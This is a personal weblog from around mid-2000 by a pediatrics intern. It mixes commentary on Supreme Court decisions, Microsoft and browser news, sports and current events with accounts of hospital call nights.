For the second time in a year, my cellphone company is being bought out. Last buy-out brought me much lower rates; this one looks to make GSM a real player in the US. (GSM is the standard that my phone uses, and that makes my phone sound so much better than my friends’ phones.)

There seems to be a new hoo-hah over the fourth Harry Potter book; apparently, either J.K. Rowling goofed, or there’s a twist afoot. I just finished the first one, and loved it; the second and third are on their way from Amazon to me now.

It looks like the racial gap in death sentencing extends to the Federal level, as well. This isn’t surprising, but my gut feeling is that it’s worse, since changing Federal policy seems to be so much harder to do than changing state policy. Of course, one state policy that needs to be changed (or enforced, or whatever) relates to the fact that in Michigan, blacks are more likely to be searched without their consent.

ACK! This has been the busiest week, by far, on the wards; I admitted five kids in one night on call earlier this week, and they just keep coming. I start an easier rotation this coming Monday, and promise more then, but now, I must go to sleep.

X-rays of my ankle, after I rolled it. Thankfully, I didn’t break it; unfortunately, I destroyed the ligaments enough that I’ll be in an aircast for at least a month, and my ankle motion is limited and superbly painful. Ugh.

my unbroken ankle

As a result of a college basketball injury, I have an ankle that’s, at baseline, pretty weak. Earlier last week, I was walking down a set of stairs with some of my co-residents, and managed to roll the ankle; I couldn’t stand up afterwards, had problems walking for the next few days, and have ended up in an aircast for the indefinite future. Luckily, though, it isn’t broken… I had images of myself hobbling around the hospital on crutches, unable to get anything done.

Prediction: if Scripting News becomes a radio station, most of its readers won’t convert to listeners. The mediums aren’t comparable, and I know that the way I read SN doesn’t translate into audio.

So, let’s see — judges are perfectly willing to withhold from the public the information on their own federal financial disclosure forms, saying that the release of the information is tantamount to a security threat, yet Planned Parenthood has to fight to keep the names of its employees secret? I think that it’s pretty clear that forcing the organization to surrender a list of all its employees puts all their lives in danger; I’m not quite sure if knowing which stocks a judge owns comes even remotely close.

The near-mint/mint Honus Wagner baseball card went for $1.1 million this weekend on eBay; with the 15% buyer’s premium, that’s $1.265 million. Interestingly, this same card has been owned by Wayne Gretzky and Wal-Mart in its past, and is considered the most valuable card in existence. CNN/fn has an article about the card and the auction.

Absent all of the other reasons I want my ass firmly planted on a Pacific Island beach this weekend, I would love to be able to see the lunar eclipse live. (That MSNBC article has a neat little interactive teaching page which explains what a lunar eclipse is, too; I must admit that I never understood the optics of it.)

Apparently, the next version of Windows 2000 will drop support for AppleTalk and NetBEUI. I expect that you’ll hear a lot of complaining about this; whenever Microsoft adds features to their operating systems, it’s accused of putting third party vendors out of business, and when MS removes features, it’s lambasted for ignoring the needs of its customers and conspiring against people who use those features.

If you thought that Microsoft has it bad with all the various lawsuits it’s fighting, then take a look at the roster of groups who have lawsuits pending against all the tobacco companies. (Of course, we’re talking about vastly different types of companies, although many Microsoft haters will now try to draw parallels until they’re blue in the face.)

Got home from the hospital at 7:45 PM tonight, but I actually felt great — we got our new medical students today, and luck has it that my patient load is on the lighter side of usual, so I spent most of the day teaching them. The agenda: how to round on patients in the morning, how to write orders and prescriptions, how to admit a patient to the inpatient unit, and how to present at work rounds. I actually love the teaching responsibilities of residency.

I’m pretty friggin’ amazed that baseball’s owners are thinking about eliminating teams from the league. Nothing would take place until 2002, but I think that it would be pretty cool to undo some of the dilution that expansion has brought to baseball.

I love the ingenuity of a good scientist. After the star-tracking navigation system died on the NASA Deep Space 1 probe, engineers shut down the satellite’s ion drive and then spent the last seven months writing new software that uses an onboard camera and reference stars for orientation. Testing went swimmingly, and the satellite has spent the last week with the ion drive back on, making its way to its target comet.

Last week, I tried to put a realistic spin on the completion of a map of the human genome, but it turns out that a few days later, in one of his diary entries on Slate, Dean Hamer put it much better than I ever could. As the head of the Gene Structure section at the National Institutes of Health, he also is one of the people who are working hard to understand exactly what the map shows us.

Of course this makes sense, but it still strikes me as a new and great idea: the Ninth Circuit U.S. Court of Appeals ruled that prisoners can be forced to pay for the cost of their incarceration. Why shouldn’t they have to reimburse society for their own misdeeds?

After yesterday’s request for good links about the new features in Internet Explorer 5.5, Luke sent along an MSDN article on the newest DHTML features found in the browser. There are some supercool new things to play with, including editable page text (you have to be running IE 5.5 to do anything on that sample page).

Windows 2000 tip: if you have Terminal Services installed, upgrading Internet Explorer (either with IE 5.01 SP1 or IE 5.5) requires an additional step — changing into Install Mode, so that the installation root is shifted from the root specific to the interactively-logged on user to the system root. How do you do this? At a command prompt, type change user /install. Then run the installer for IE, and when it’s done, type change user /execute at the command prompt before rebooting. Each cheesy.

Yet another column on OpenSSH, why it’s a Good Thing, and why you should be using it to connect to your Linux machines. (Oh, and this post was added using Internet Explorer 5.5, which seems to be stable.)

In the past two weeks, I’ve ordered two books from Amazon on separate occasions, and both times, my order summary has estimated that they’d ship in 24 hours. Both times, this was drastically wrong; one order just shipped today, and the other shows no sign of shipping soon. Isn’t their database good enough to avoid this crap? Looks like it’s time to start shopping around…

Internet Explorer 5.5 is now available for download; you can grab it from the IE download site or just use Windows Update to install it. I haven’t found a page which summarizes the changes in IE 5.5 yet (the best so far is a press release); if anyone finds one, feel free to mail me.

And in other browser news, I got an automated email from the Mozilla bugtracking system telling me that one of my bugs was fixed last night. I guess it’s time to download the latest nightly build (or perhaps I should do so tomorrow), and see what’s up.

The international and U.S. Olympic committees are beginning a major crackdown on domain names that try to glom onto the Olympic name. While I understand that the various Olympic governing bodies have been given exclusive rights to use the name, it seems that moves like this are very much against the public nature of the games. Then again, given the multi-hundred-dollar ticket prices, maybe the public nature of the games is dead.

A day after the FTC filed suit against the now-defunct dot-com, Disney has offered to buy and bury the Toysmart.com customer list. Given that Disney is the major shareholder of the failed company, this seems like the right thing to do.

For future reference: a brief synopsis of the coming Supreme Court term.

It seems sad that transactional lawyers in Massachusetts can’t figure out how to do pro bono work in their field. What about all those people shafted out of housing by shady landlords, struggling families without wills or estate planning resources, struggling businesspeople who can’t afford to defend themselves against big businesses? Sad, sad.

I’ve had to ask people this several times today: Are you watching the web feeds? The TV show is a complete mis-fire and is only interesting if you’re using it as a guide to accompany the live web feeds.

I’ve seen hours of great reality programming over the web, and they’re not showing hardly any of it on the half-hour synopses.

Unfortunately they’re not playing up this fact at all on television, and apparently the feeds don’t work too well without broadband (even on AOL). So I completely understand if it’s not gaining popularity.

But I’m encountering people who hate the show without ever having given the web feeds a chance. I’m very disturbed that what’s become a replacement for television for me may go away simply because people never knew. So I’ve become an evangalist, posting on people’s message boards in order to bring proper attention to something that’s not boring, just mis-marketed.

Thank you for your time. :)

— Dan of BrainLog

FM2030 (nee F. M. Esfandiary), who changed his name based on his absolute belief that he would live to the age of 100, died this past Saturday, done in by “a stupid, dumb, wretched organ” (his pancreas).

I know this shocks everyone out there, but Big Brother sucks. I actually tried to watch another five minutes the other night, and didn’t make it halfway through.

Holy crap. Lance Armstrong, winner of last year’s Tour de France and testicular cancer survivor, turned a six-minute deficit into a four-plus-minute lead in one stage of this year’s race. That’s a pretty dramatic, almost unheard-of climb in the ranks; I really hope that Armstrong is able to hold on through the end.

I had no clue that scientists are building a habitat on Antarctica that simulates the structure that would have to be built on Mars as support for a human mission. Kinda cool, actually.

Working on a floor of the hospital where patients require frequent blood and platelet transfusions, I can tell you about this blood shortage firsthand.

This could be interesting — the vaccine that has been able to prevent the lesions of Alzheimer’s disease in mice progressed smoothly through phase-one testing in humans. The most interesting part of this is that it’s not well-known what the vaccine is vaccinating against, just that it decreases the formation of the amyloid plaques seen in the brains of Alzheimer’s sufferers. Likewise, it isn’t known if vaccinating against the plaques will impact the course of the disease. The future will tell…

A new company has announced technology to inflict annoying ads on the MP3-listening crowd, turning them into the same ad-riddled media that everything else on the web is. (Maybe that’s why I like weblogs so much — for the most part, no ads.)

Serious question: when people complain that [X] is bad because “it weakens the institution of marriage,” what is the overwhelming harm that’s implied by that statement? To clarify my thinking right now, it’s not that I don’t understand why marriage is good, it’s that I fail to understand why something like Vermont’s civil union law, or other country’s similar laws which extend protective benefits to what are considered non-traditional relationships, isn’t good in similar ways. (Likewise, does the current increasing rate of divorce threaten the institution of marriage in a similar way?)

Happiness, happiness, it looks like Tim Duncan may be staying with the San Antonio Spurs. Now if they can only get past the first round of the playoffs next season…

This could not make me happier.

It’s pretty sad that financial motives are the factor that is causing some doctors to start listening to their patients and exhibiting compassion.

Getting totally swept up in the whirlwind, I ordered the first Harry Potter book yesterday. (If nothing else, I will have something else to talk to my patients about in clinic.)

Unfortunately, it’s too common a theme today — write an article that expresses your own personal feelings about Microsoft, Linux, the Mac, whatever, and get slammed by fervent zealots who disagree with you. After writing a letter to his legislator, Dan Budiac is learning that lesson.

Kenji Yoshino, Yale Law professor, has a thought-provoking article in Writ about the troubling loophole that has been created in anti-discrimination law by the Supreme Court in their decision to allow the Boy Scouts to ban gay members.

The father of the youth hockey game that beat another man to death is pleading innocent to the charge. This story doesn’t explain what his argument is in pleading innocent; from the stories I’ve read, there are oodles of witnesses that watched Thomas Junta hit Michael Costin in the head, killing him.

I admit it, I really want to see Scary Movie.

There’s been quite a lot of screenspace given to the failed dot-com, Toysmart.com, and their plan to try to sell their customer database even though their privacy policy (while in business) specifically forbade sharing that information. Today, the Federal Trade Commission filed suit against Toysmart.com, trying to prevent the sale of the information. Even though I didn’t ever buy from Toysmart.com, in the name of contractual obligations to privacy, I’m happy to see the FTC stepping in here. (And I learned from this article that the actual people responsible for trying to violate the privacy of all those ex-customers is Disney, the now-owner of Toysmart.com’s assets.)

Good morning, good morning. I finally feel well-rested, after getting about 18 hours of sleep over the past day and a half. And I put new sheets on my bed yesterday, ones that are made out of T-shirt material — you gotta get yourself some of these. They rock.

Thursday night was another on-call night, and the same little girl that got really sick Monday night started going down that road again. This time, we were able to keep things under control (or, more aptly, her body was able to keep things under control), but it was still a really tough night, both for us and for her. It turns out she has been getting really sick because the semi-permanent IV lines that she has — a Broviac catheter and a Portacath — are both infected, and the surgeons have been less-than-cooperative in getting them out of her. Nonetheless, we had to get a smaller peripheral IV line into her (not easy) and run all of her treatments — antibiotics, chemotherapy, pain medication, large amounts of fluid — through it. And when the IV started to fail, we had to get another one into her. I have to admit, though, that there was a very slight amount pride in my voice when the morning team came in and I was able to say that she wasn’t transferred into the intensive care unit.

Tomorrow (Sunday) is another on-call day, so unless things are way quieter than they’ve been at the hospital, don’t expect to hear from me until Monday afternoon.

A cool day in baseball — the Yankees and Mets are playing a day-night doubleheader in two stadiums. The day game (at Shea) is on right now, and has already had excitement — Met Todd Zeile has been penalized for interference twice, once on defense and once on offense, both times against Yankee Chuck Knoblauch. I doubt I’ll ever see this happen in baseball again.

One of the best headlines I’ve read in a while: Net pornographer probed.

What a terrible story — after a youth league hockey game that involved more contact than it was supposed to, one father got a bit out of control and was thrown out of the rink. He returned, though, and punched another father in the head; the man lost consciousness, was rushed to the hospital, and died soon thereafter. The man has not yet been charged with anything more than misdemeanor assault, but now that his victim has died, he is expected to be charged with manslaughter or murder.

OK, I know I’ve said it before, and I know I’ll say it again… the Onion rules.

Surely you’ve received, at some point in your Internet life, the little chain mail recounting what happened to all of the signers of the Declaration of Independence (reprinted in an old Jonah Goldberg column). This Independence Day, apparently a few major columnists fell for it, prompting historical scholars to try to set the record straight. The Boston Globe actually suspended the author of their column over the flap. In all of this, though, it turns out that Rush Limbaugh’s father lifted parts of the infamous email in an essay about being proud to be American (warning: obnoxious background music), prompting another rebuttal.

I ended up not trying to catch OpSail 2000 from the med school dorm roofs, but it turns out that had I tried, I would have failed anyway; the captains of the ships decided to turn around at 59th Street, rather than come all the way up the the George Washington Bridge as planned. This decision has generated a lot of controversy in New York, since turning around early meant that only the relatively wealthy neighborhoods got to catch the event.

On a day that I’m not on call, 15 hours in the hospital is too many hours. On the other hand, I spent the last two hours teaching the med students on my team various stuff about admitting patients and managing kids coming up from surgery, so it really was worth it.

In addition, today I wore my favorite tie, a black one with huge Winnie the Pooh pictures on it (Pooh, Eeyore, and Tigger), and I re-realized why it’s my favorite — every kid on the floor under the age of six came up to me and wanted to see it. If anyone was in doubt before, take it from me — props definitely help you with kids.

Happy (late) birthday to Dan, happy (late) birthday to Dan! (I’m glad I share a birthday with him, but am slightly shocked to find out I’m the older of the two of us.)

Here’s a somewhat scary article: low birthweight babies (those born at less that 5 1/2 pounds) lag behind their normal birthweight peers in education much more than previously thought.

For once in my life, I agree with Bryant Gumbel, because I too think that Robert Knight, “Director of Cultural Studies” for the Family Research Council, is a fucking idiot. (And I didn’t have to redact out the expletive!) The FRC is one of those incredibly scary neo-right-wing organizations that spouts hatred and divisiveness under the cover of “maintaining traditional values” and “preserving the strength of our country”; spending five minutes on their website is more nausea-inducing than most of the chemo drugs I push into some of my patients. (I’m not linking to them because I don’t want to drive even one damn visitor to their site.)

Interesting — if a man who has been living a lie of a marriage for almost the entire duration of being mayor of New York tells a reporter that his father taught him the lesson of honesty, does it mean anything at all?

There’s a good Salon article about Casey Martin, the man who’s won injunctions against PGA Golf forcing them to allow him to use a golf cart during competition due to a chronic medical condition that makes walking unbearably painful and dangerous. The suit between him and PGA Golf has been accepted for oral arguments before the Supreme Court; the result will be incredibly interesting, for pro sports and for disabled people in all kinds of workplaces.

Al has a pretty good story about (what I’m realizing is) a relatively typical patient-nurse interaction. If you need a stimulus to click on that link, here’s one: the story involves a scalpel, a well-endowed man, and the possibility of an unintentional bris.

Today was supposed to be the day that Phil and I were going to get to have dinner with Dave, and finally get to meet the guy who wrote the software we’ve been using for a decade. Would’ve been cool; I hope that he gets to NYC soon.

I just watched the first 20 minutes of the premiere Big Brother episode, and I can’t take any more of it. It’s more contrived than Survivor, if that’s possible.

Happy birthday, America!

I survived my second night on call, and I hate to word it this way, but I learned a very important rule last night — incredibly sick kids make for incredibly effective learning opportunities. There was an oncology patient on the floor who started to spike a fever and become hypotensive, and it took a good two hours of very intensive management by my senior resident to stabilize him and transfer him to the Pediatric ICU. And no matter how many times I’ve been told in lecture settings that kids can get very sick very quickly (and how to manage those kids), it will be those two hours that serve as my best lesson every time one of my future patients starts to decompensate.

The big ships are here! The big ships are here! I had planned to go on top of the med school dorms to watch all the ships coming up to the George Washington Bridge, but getting no sleep while on call put the kibash on that idea. (The website appears to be down right now, too…)

Last week, Dahlia Lithwick wrote her wrap-up of the Supreme Court term, with special emphasis on the last week of announced decisions (abortion, gays in the Boy Scouts, school prayer, and violence against women, to name a few). She doesn’t appear to be very happy with what she saw, either…

Gawd, I hope that Tim Duncan doesn’t go to the Orlando Magic; if he leaves San Antonio, the Spurs will be nothing more than a mere impersonation of an NBA team, and a below-average one at that.

USA Swimming has banned the use of bodysuits at the U.S. Olympic Trials, yet apparently the suits are going to be allowed at the Olympics. I don’t get this. (For those who don’t know what the hell I’m talking about, there are new full-body suits made out of drag-reducing material that have caused all sorts of swimming records to fall over the past year.)

I’m baaaack. I spent the past two days just getting my body used to this new schedule (getting up early, going to sleep early). I *heart* bed.

A few things I’ve come up with this week, after reading a few people’s observations on their own sites:

  • Rule #1: If you don’t like reading weblogs, then stop reading weblogs.
  • Rule #2: If you don’t like weblogging, then stop weblogging.
  • Corollary to Rule #2: Insulting other webloggers because you don’t like weblogging is sad, and exposes you as someone with those very traits you are insulting in others.

Yesterday was movie day. During the afternoon, I got sucked into Sweetwater, the VH1 movie about the band that opened Woodstock; I actually liked it, although I wonder just how dramatized the story is. Then last night I finally saw Fight Club (on DVD), and really liked it. Strange, brutal, intricate, and made me think a lot.

With this past Wednesday being the last day of the Supreme Court term, Linda Greenhouse has written a good wrap-up of the decisions handed down this year, and their probable impact on life in the United States. (Since it’s a New York Times article, it will probably disappear into their pay-for-access archive at some point soon.)

This week, Andrew Duncan passed on another New York Times article, this one assessing websites that keep tabs on Internet law. Looks good; you may want to print this one out before it, too, gets swallowed into the pay-for-access archives.

As a result of the Boy Scouts’ position against openly gay members, corporations and other sponsors have begun to withdraw support. Levi Strauss, the United Way, and the State of Connecticut have all severed their ties with the Scouts, and the United Methodist Church, which is the largest sponsor of Scout troops nationwide, has openly stated that if the Court were to rule in favor of being able to exclude gays, it would also pull all support. Interesting to me is that the Boy Scouts knew that this would happen (they acknowledged this in their arguments before the Court), and still felt like an anti-gay stance was worth pursuing.

There’s been a lot of hoo-hah about the ostensible completion of mapping the human genome, but it struck me this week how little people actually understand about what has been done, and how much more needs to be done for any of it to mean anything. It’s a huge thing to have completed a basic map of the DNA that makes up human life, but at this point, it’s just a rudimentary map, with very little meaning. Imagine a map of your hometown, without street names, addresses, or place names; that’s essentially what exists now. Now that the map exists, though, researchers can start identifying what each gene does, and how everything’s interrelated.

happy birthday to me!

I survived my first night on call. Last night, the team on call was myself, another intern, and a third-year resident, covering two inpatient floors (around 55-60 patients). I had 15 oncology kids on my service alone, and some of them were pretty sick — almost all of them are in for in-house chemotherapy, and unsurprisingly, kids can get very sick while receiving drugs that are designed to kill cells. Nonetheless, by the end of the night, I felt pretty confident that I could handle the minor issues, make educated decisions about the moderate ones, and identify the major ones that needed me to page the third-year. And our third-year actually was able to catch about an hour of sleep, which she told us was solely because she got to trust our decisionmaking abilities by the end of the shift. (That made me pretty happy.)

Of course, when I rolled in the door today, I immediately crashed in bed… and didn’t wake up until around 9:00 PM. A little dinner, a little baseball on TV, and I’m turning in again. If I owe you email, I apologize; I’m off this weekend, and will try to catch back up.

(Before I crash, though, I wanted to point to Sotheby’s page on the copy of the Declaration of Independence sold for $8.1 million. This is the famous copy of the Declaration that was found at a flea market in 1989; I like this mostly because of the cool Java image viewer that Sotheby’s has on most every auction page.

There was some pretty big news out of the Supreme Court today. First, the Court decisively ended Elian’s stay in the United States; the kid is on his way to the airport as I’m typing this, and is free to return to Cuba. I wish him well in his homeland, and apologize for the way that our country treated him and his family.

Second, though, the Court upheld the Boy Scouts’ right to exclude homosexual troops and leaders from the organization in a 5-4 vote. The decision was based on the right of expressive association — essentially, the Boy Scouts have the right to choose their message, and then to enforce the adherance of all members of their organization to that message. Perhaps the biggest result of this decision is that organizations to which antidiscrimination laws do apply — fire stations, police precincts, and the like — are going to end up having to terminate their association with the Boy Scouts, since they cannot lend public support or funds to organizations which admittedly discriminate.

Jim Roepke swooped in today with an article that the Canadiens won’t be allowed to leave Montreal, inducing an enormous sigh of relief from Canadians who are sick of hockey deserting its homeland.

(Wow! This computer in the hospital let me enable cookies, so I can update Q. Of course, I have to be in a meeting in 3 minutes, so…)

Below is the flame that I got from the mysterious “Ray L.”, who apparently is offended that I, a doctor, can applaud that a stable browser has a chunk of market share (I’m still trying to figure out how the two are related), and also is reacting like I insulted his mother. I’m posting it by popular demand.


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Date: Mon, 26 Jun 2000 20:49:00 -0700
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From: "Ray L." <ray@frogcyte.com>
Subject: 86% use Internet Explorer

Seen on your weblog today:
"Cooooool -- 86% of websurfers are using Internet Explorer to go where they want to go. Means that fewer and fewer people are using that browser that crashes on well-formed HTML and CSS code, which is a Good Thing for web developers."
This is a terrible thing for web developers, and anyone else who cares about diversity.
It's amazing that a doctor -- someone supposedly educated in biology -- could applaud the idea of monoculture, only weeks after the Microsoft Outlook virus showed just how dangerous monoculture is for software development.
Thanks to your stupidity and arrogance, I've deleted your URL from my bookmark list & won't be reading it anymore.

Tell me, do doctors really use the term “Gomer” (Get Out of My Emergency Room) to refer to certain patients?

I saw this in a quite funny movie starring Tim Matheson (I think), way back, where he plays an intern working in ER, and I wondered if they made it up or if it was something they got from reality. (It seemed to have a lot of verisimilitude; it seemed more like something they got from real doctors.)

The funniest line in the film: “Rule #1: Gomers never die. Rule #2: Gomers NEVER die.”

Because Wendell’s kicking sand in our collective faces, here’s my official mention of one of the coolest things in the meta-weblog world: Dan Sanderson’s new Subhonker Filter. Dan was kind enough to include me in the private beta, so I’ve played with it a bit more than most people, and I love it; now, if I only had time to surf the web…

Molson may be proud to be Canadian, apparently they aren’t proud enough of the Canadiens to continue to own them. And given the southward migration of the rest of the Canadian hockey franchises, I wouldn’t be shocked if the end result of this is that the Canadiens become Americans.

Holy crap. John Rocker’s return to New York City this coming Thursday is turning into an annoying ordeal. Today, the city announced that there will be more than 500 extra police officers at Shea, and that beer sales will be sharply curtailed (only two beers per person, rather than the normal four, and beer sales will end one inning earlier). If they think Rocker’s statements about New York made New Yorkers mad, wait until the Shea crowd finds out that they can’t buy beer… the poor schmuck’s gonna get beaned for sure.

At 4:00 PM ET tomorrow, Elian could be on a plane back to Cuba, finally ending this damn kidnapping. This CNN article also has links to the appeal to the Supreme Court filed by the Miami “relatives,” and the response to that appeal filed by Elian’s father.)

Maybe, just maybe, Moore’s Law is about to start applying to battery technology. I would love to stop having to worry about battery life on my laptop… because it would mean more continuous DVDs that I could watch!

Huge shock — air travel is just as annoying and trouble-filled as ever. And even bigger shock — the airlines blame it on everyone but themselves.

Quick update this morning, just to bring you my first flamer, who is so bent out of shape about yesterday’s comment on my part re: Internet Explorer and its 86% market share that he has gone and deleted his bookmark to Q. To quote him, “Thanks to your stupidity and arrogance, I’ve deleted your URL from my bookmark list & won’t be reading it anymore.” Good luck with your anger, there, young man… (I’ve posted the entire text of the flame, by popular request, and I corrected the mailto: links! That’ll teach me to try to type at 4:45 AM.)

OPERATING SYSTEM % of total

WINDOWS 93.63

OTHER 3.48

MACINTOSH 2.53

UNIX 0.36

yipes, all the Linux and Sun on the desktop talk and they do not have 4%.

I am way glad that you are making time for Q.

Phil

Whoa, am I tired. It’s been a while since I had to wake up at 4:30 AM; when it felt like it was time for my second cup of coffee at around 10:30 or 11:00 this morning, my body was saying that it was way too early in the morning to need a second cup, but my brain did the math, figured out it was already six hours since my first cup, and realized that I was right on schedule. My kids rock — I actually had one of my patients on my lap for a good 1/2 hour during rounds (try that on adult medicine!).

Great Supreme Court decison today — in a 7-2 decision, the Court upheld the necessity of the Miranda warning in arrests, even with voluntary confessions. Decades of the future of television cop shows are secured, as is the ability of future kids to understand the decades of past cop shows.

The Miami relatives have appealed the Elian decision to the Supreme Court. In reading this article, though, I think that the relatives have made a huge mistake — instead of asking the Court to decide on an issue of law, their question for the Court assumes that issue of law, and almost demands that the Court enforce their assumption. I quote from the MSNBC article (which quotes from the filed appeal):

The relatives’ formal appeal said the legal issues in the case “boil down to a single straightforward question: Can the INS deprive an alien child of his statutory and constitutional right to apply for asylum without conducting any hearing of any kind — or even without interviewing the child himself?”

Read that — it practically tells the Court that Elian has a “statutory and constitutional [sic] right to apply for asylum,” when in fact, every decision up through now has said that that specifically is not the case. Typically, such an appeal would ask the Court to determine if such a right existed, not tell the Court to enforce said assumed right.

Cooooool86% of websurfers are using Internet Explorer to go where they want to go. Means that fewer and fewer people are using that browser that crashes on well-formed HTML and CSS code, which is a Good Thing for web developers.

Wow — tomorrow, I officially start being Dr. Levine to real, live, actual patients. Wow. I’m nervous as all hell, and doubt I’ll get much sleep tonight, but I’m just as excited as I am nervous. Today, I spent a few hours in the hospital meeting my new patients (two oncology patients, a strange GI/infectious disease patient, and an asthmatic), and realized when I left that I was just plain happy to be starting up. We have a few scheduled admissions tomorrow, and there’ll assuredly be the normal unscheduled admissions through the Emergency Room, so things are starting out busy, busy, busy.

What this means, though, is that updates will be in the evenings for the next couple weeks. I have to be at the hospital at around 5:45 AM every morning, and every fourth night, I’m on call (meaning that I don’t come home until nearly noon the next day).

Ladies and gentlemen, the insane Mike Tyson that we all remember has reentered the building. In his postfight “interview” last night, he said to Lenox Lewis “I want your heart. I want to eat your children.” Of course, before the fight, he made an offhand comment about giving money to a woman on the street, and when asked who she was, he replied “What’s your momma’s name?” What a freakshow.

I don’t even know what to say about dung spitting.

Happiness is spending the day rollerblading and relaxing in Central Park, and then ending up at the famous Gray’s Papaya — two hot dogs and a drink, $1.95. Getting a little bit of color in my skin doesn’t hurt, either.

The driver of the B subway train that derailed in NYC earlier this week tested positive for cocaine after the accident, but MTA authorities don’t think that the cocaine actually played a role in the accident. (Apparently, the only way a driver can derail a train is by traveling too fast through a switching area, but all indications are that the train was going as slowly as it should have been.)

The Baptist General Convention of Texas, by far the largest state contingent in the Southern Baptist denomination, is considering cutting all ties with the national Southern Baptist Convention — it seems that they’re sick of the neo-rightwing positions taken by the national group. They represent 14% of the money going to the national organization, and over 17% of the members; if they break off, they would be the ninth largest denomination in the country.

Have I mentioned how much I like Dahlia Lithwick? (Of course I have.) She checked out a Hillary Clinton stump event in the Bronx this week, and has filed a hilarious dispatch from the front lines. Fundamentally, this article strikes a cord with me because I completely agree with Lithwick — “Hillary’s frustration can only be attributable to the fact that she is a smart, talented, ambitious woman who is loathed for no discernible reason.” I can’t say how many of my friends plan to vote against her, and can provide absolutely no reason for this except “I just don’t like her!” Very strange.

Three Spanish tennis players, two of whom are ranked in the top 15 players in the world, are threatening to withdraw from Wimbledon this year. The reason is because Wimbledon traditionally ignores the world rankings of ATP, instead inventing their own ranking and seeding system, and all three Spanish players have been ranked as unseeded in this year’s competition.

Eric Alterman has a pretty damned fine column on the leaked information that a DOJ lawyer has recommended appointing an special prosecutor for Gore’s fund raising history. I truly believe that the entire oversight system is diseased and gasping for breath; I also believe that any party that feels that using special or independent prosecutors to do their dirty work deserves what will happen when they succeed, find themselves in power, and discover that the same exact tools are being used against them. (Of course, Gore has done the respectable thing and released all 150+ pages of transcripts of the DOJ meeting in order to head this thing off early.)

Hmmm… now there’s a web Napster client. Personally, I kinda like the spunk of the person or people behind Stop Napster, a website devoted to ideas and plans of how to pollute the Napster waters with incorrectly-titled songs and the like.

Start warmin’ up that plane to Havana… Elian’s goin’ home! And, much like the original decision by the Appeals Court, this decision was unanimous and was terminated by strong wording (emphasis added by me):

Expect no motions to stay the issuance of the mandate to be granted. All injunctions in this case will dissolve on Wednesday, 28 June 2000, at 4:00 in the afternoon (Atlanta time). All further requests for stays or for injunctive relief should be directed to the Supreme Court of the United States.

We love Zannah, for she has alerted us to the existence of an autopsy of a Magic 8-Ball. (OK, we love Zannah for so many other reasons, too, but right now, this one overwhelms all others.)

After the past two columns by Ed Foster in InfoWorld (both about the fact that services providers like FreeDSL, Yahoo, and GeoCities all have Terms of Service that allow them to make legally-binding changes without any form of notification), I thought to myself that it would be tres easy to put together a website that loads these sites’ Terms of Service every day, compares them to the prior day’s, and publishes any changes. I mean, this should be trivial. Are there any takers out there?

If your goddamn life is so hurried that you have to honk at, weave through, and cut off funeral processions, then you may well be the most pathetic excuse for an assemblage of carbon that exists on this here planet.

MIT’s Technology Review has a superb article about real-time video editing. It starts off with the stuff that we all know about, like adding or deleting ads from live video, or adding first-and-ten markers to a football broadcast. From there, though, it talks about processing live reconaissance video from drone military planes, comparing it to previously-captured images of the terrain in order to identify moving or changing targets. The applications of this technology are scary; it is no longer possible to be sure that what we’re seeing is real, in any sense of the word.

I really think that John Rocker should announce exactly when he’ll be on the number 7 train out to Shea next week; I have lots of friends who would want to be on that train.

In New York, huge crime stories have the capacity to spin out of control, quickly turning into polarizing racial issues. The Central Park molestings two weekends ago, coming at the tail end of the Puerto Rican Day parade, didn’t do that. Why? Slate guesses at the answer. In a nutshell, they believe that it’s because (a) actual crimes were committed, (b) they were committed by memebrs of disadvantaged groups (blacks and Latinos), and (c) they were committed against another disadvantaged group (women). (Thanks for the heads-up on the misattribution, Clay!)

You should eat more, Dad… you’re really skin and bones these days.

I’m at the hospital right now, which is a Netscape shop. They have totally disabled any ability to configure Netscape, and have preconfigured it to disallow all cookies, and to only load a page one time per session, serving it from the cache for all other times during that session. You can’t change this. Why is this a problem? ANY website (including this one) that requires cookies for interaction doesn’t work. So I had to be sneaky, and figure out a way to get Internet Explorer to run, in order to type this paragraph. (The funny thing is that the security restrictions on the machine prevent me from typing in a URL, so I had to wind my way around the web until I was able to get to a search engine, and they search for Q, in order to get here. Thank goodness a few search engines have indexed Q.) I’ll update later, though, when I have better web access.

Yuck… a New York subway derailed today, injuring lots of people. It seems, though, that as subway derailings go, this one was the best possible — nobody has died, and it looks like it will be easy for them to get the trains back into service.

The Yankees, all of a sudden, are playing real baseball. Two nights ago, they beat the Red Sox 22-1. Last night, they won again, Andy Pettite outpitching Pedro Martinez with 7 2/3 shut-out innings. They also traded Jim Leyritz for Jose Vizcaino, getting some badly needed backup to Chuck Knoblauch at second base. (For those out of the know, Knoblauch is currently battling mental demons that are preventing him from throwing the ball well. Late last week, he pulled himself from a game after getting three errors in as many innings; two nights later, he threw a ball high to first base, hitting Keith Olbermann’s mom, sitting in the stands, in the face.)

I had no clue that Deja pulled the old (pre-mid 1999) Usenet archives down. That sucks. When they went all corporate and shit, I thought to myself that this would happen someday; I hope that they at least pass on the data to someone else if they decide not to put it back online.

“Fans” of the L.A. Lakers smashed store windows, lit police cars on fire, looted, and trashed a news van after the Lakers won the NBA Championship last night. I don’t even know what to say… what total morons.

Read these in order:

Wendell’s back! There are two big new projects, it seems: Linkin’ Log (which looks to be a “traditional”-type log), and Blog Party (which looks to be in the vein of WWWW). Both Neale and Wendell have now moved to the separate link log and meta log; was there some shift in the force that I didn’t sense?

Microsoft filed their arguments against moving the trial directly to the Supreme Court yesterday, and had two arguments lauded by law analysts on both sides of the fence:

  • there’s absolutely no law that would allow the portion of the lawsuit filed againt Microsoft by the states to be appealed directly to the Supreme Court. The Expediting Act, which is the only law that governs this sort of thing, was written in 1974; the statue that allows states to bring federal antitrust lawsuits was written in 1976, and doesn’t give the states the same expediting ability. Thus, at absolute best, the DOJ could only appeal the federal part of the case directly to the Supreme Court.
  • the changes in Microsoft’s business ordered by Jackson (e.g., splitting up) take effect in 90 days, yet the Supreme Court won’t begin consideration of the expediting motion until sometime after that 90 day window, which means that Microsoft has no legal recourse to appeal the sanctions. While many Microsoft haters love this idea, there’s a problem — the ability to appeal any lower court ruling is called due process of law, and is a fundamental property of our legal system. (Many analysts think that Jackson’s 90-day window is his largest mistake in this trial to date, for this very reason.)

